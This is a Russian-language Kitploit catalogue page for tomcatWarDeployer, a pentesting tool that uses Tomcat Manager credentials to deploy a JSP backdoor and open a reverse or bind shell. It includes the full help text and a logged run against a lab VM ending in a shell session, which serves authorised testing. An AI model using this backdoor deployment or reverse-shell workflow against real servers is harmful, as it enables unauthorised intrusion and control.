Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
tomcatWarDeployer — Инструмент для автоматического развертывания WAR и взлома Apache Tomcat для тестирования на проникновение. | Kitploit
Инструменты/GitHubGitHub/mgeeky/tomcatwardeployer
Генерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubmgeeky/tomcatwardeployer

tomcatWarDeployer

Инструмент для автоматического развертывания WAR и взлома Apache Tomcat для тестирования на проникновение.

Репозиторий
44613333 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

tomcatWarDeployer

Инструмент для автоматического развертывания WAR и эксплуатации Apache Tomcat при пентесте.

Что это такое?

Это инструмент для пентеста, предназначенный для использования учетных данных Apache Tomcat с целью автоматической генерации и развертывания бэкдора JSP, а также его последующего вызова и предоставления удобной оболочки (либо через веб-интерфейс, привязку прослушивающего порта на удаленной машине, либо как reverse TCP-пейлоад, соединяющийся обратно с атакующим).

На практике он генерирует WAR-пакет с бэкдором JSP на лету и развертывает его в Apache Tomcat Manager Application, используя действительные учетные данные HTTP-аутентификации, предоставленные пентестером (или собственные — в конце концов, мы все любим tomcat:tomcat).

Инструмент предлагает несколько удобных функций — например, логику поиска панели менеджера, поддержку проблемы двойного кодирования CVE-2007-1860, обработку CSRF в новых версиях Tomcat.

Использование

Так же просто, как указать адрес сервера с портом в формате IP:PORT. Вот справка:

root@kitploit:~
user$ python tomcatWarDeployer.py --help

    tomcatWarDeployer (v. 0.5)
    Apache Tomcat auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
Usage: tomcatWarDeployer.py [options] server

  server    Specifies server address. Please also include port after colon.

Options:
  -h, --help            show this help message and exit

  General options:
    -v, --verbose       Verbose mode.
    -s, --simulate      Simulate breach only, do not perform any offensive
                        actions.
    -G OUTFILE, --generate=OUTFILE
                        Generate JSP backdoor only and put it into specified
                        outfile path then exit. Do not perform any
                        connections, scannings, deployment and so on.
    -U USER, --user=USER
                        Tomcat Manager Web Application HTTP Auth username.
                        Default="tomcat"
    -P PASS, --pass=PASS
                        Tomcat Manager Web Application HTTP Auth password.
                        Default="tomcat"

  Connection options:
    -H RHOST, --host=RHOST
                        Remote host for reverse tcp payload connection. When
                        specified, RPORT must be specified too. Otherwise,
                        bind tcp payload will be deployed listening on 0.0.0.0
    -p PORT, --port=PORT
                        Remote port for the reverse tcp payload when used with
                        RHOST or Local port if no RHOST specified thus acting
                        as a Bind shell endpoint.
    -u URL, --url=URL   Apache Tomcat management console URL. Default:
                        /manager/
    -t TIMEOUT, --timeout=TIMEOUT
                        Speciifed timeout parameter for socket object and
                        other timing holdups. Default: 10

  Payload options:
    -R APPNAME, --remove=APPNAME
                        Remove deployed app with specified name. Can be used
                        for post-assessment cleaning
    -X PASSWORD, --shellpass=PASSWORD
                        Specifies authentication password for uploaded shell,
                        to prevent unauthenticated usage. Default: randomly
                        generated. Specify "None" to leave the shell
                        unauthenticated.
    -T TITLE, --title=TITLE
                        Specifies head>title for uploaded JSP WAR payload.
                        Default: "JSP Application"
    -n APPNAME, --name=APPNAME
                        Specifies JSP application name. Default: "jsp_app"
    -x, --unload        Unload existing JSP Application with the same name.
                        Default: no.
    -C, --noconnect     Do not connect to the spawned shell immediately. By
                        default this program will connect to the spawned
                        shell, specifying this option let's you use other
                        handlers like Metasploit, NetCat and so on.
    -f WARFILE, --file=WARFILE
                        Custom WAR file to deploy. By default the script will
                        generate own WAR file on-the-fly.

И пример использования на Kevgir 1 VM от canyoupwn.me, работающей на 192.168.56.100:8080:

root@kitploit:~
user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080

    tomcatWarDeployer (v. 0.3)
    Apache Tomcat 6/7 auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│   ├── META-INF
│   │   └── MANIFEST.MF
│   └── WEB-INF
│       └── web.xml
└── index.jsp

3 directories, 3 files
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"
DEBUG: Succeeded, invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'
DEBUG: Connected with the shell: tomcat7@canyoupwnme
jh
tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)

tomcat7@canyoupwnme $ exit

Программа настроит локальный слушатель для reverse-shell соединения на хосте 192.168.56.102:4449 (локальный хост), как в примере выше. Затем, после вызова JSP-бэкдора, она автоматически подключится к локальному слушателю, в результате чего появится оболочка. Также можно пропустить параметр -H, чтобы использовать функциональность bind shell, когда вместо настройки локального слушателя программа подключается к удаленно прослушивающему bind-shell.

i

Наконец, приведенный выше вызов приведет к следующему JSP-приложению, доступному удаленно через WEB:

i

JSP backdoor gui

i

Как можно видеть, для использования развернутого бэкдора требуется пароль, что предотвращает неавторизованный доступ во время проводимой оценки.

Подводя итог, пользователь создал веб-приложение, предоставляющее веб-бэкдор, аутентифицируемый через POST-параметр 'password', который может быть указан пользователем или сгенерирован случайным образом программой. Затем приложение при получении заголовка X-Pass на этапе вызова создало reverse-соединение с нашим обработчиком netcat. HTTP-заголовок запрашивается здесь для того, чтобы предотвратить обновление пользователем веб-интерфейса и повторные попытки bind или reverse-подключения. Кроме того, это использует аутентификацию для доступа к этому коду.

На этом, пожалуй, всё.

ПРОТЕСТИРОВАНО

  • Apache Tomcat/5.5.35
  • Apache Tomcat/6.?
  • Apache Tomcat/7.0.52
  • Apache Tomcat/7.0.56
  • Apache Tomcat/8.0.33

ЖУРНАЛ ИЗМЕНЕНИЙ

  • 19.07.16: Версия 0.3: Добавлена функциональность bind-shell и reverse-shell для предоставления пользователю прямого доступа к оболочке.
  • 12.09.16: Версия 0.3.3: Добавлена поддержка интерфейса Tomcat 5
  • 21.12.17: Быстрое исправление проблемы http/https и обхода проверки SSL-сертификата.
  • 04.05.18: Немного улучшен веб-интерфейс, добавлены цвета в приглашение оболочки и улучшена поддержка цикла оболочки Windows.
  • 31.08.18: Добавлена поддержка обработки CSRF и JSESSIONID в версиях Tomcat 7+ и для CVE-2007-1860 — вы можете проверить, как это работает автоматически «из коробки» на PentesterLab

ПЛАНЫ

  • Реализовать функциональность bind и reverse TCP-пейлоада, а также некоторый pty для взаимодействия с ним
  • Завершить реализацию функциональности noconnect и connect
  • Реализовать своего рода аутентификацию и шифрование/кодирование связи, чтобы предотвратить передачу данных в открытом виде по сети
  • Протестировать на tomcat5, tomcat8

☕ Поддержка ☕

Этот и другие проекты являются результатом бессонных ночей и большого труда. Если вам нравится то, что я делаю, и вы цените, что я всегда отдаю сообществу, Купите мне кофе (а лучше пиво), чтобы просто сказать спасибо! 💪


Автор

root@kitploit:~
   Mariusz Banach / mgeeky, 21
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)
Скачать инструмент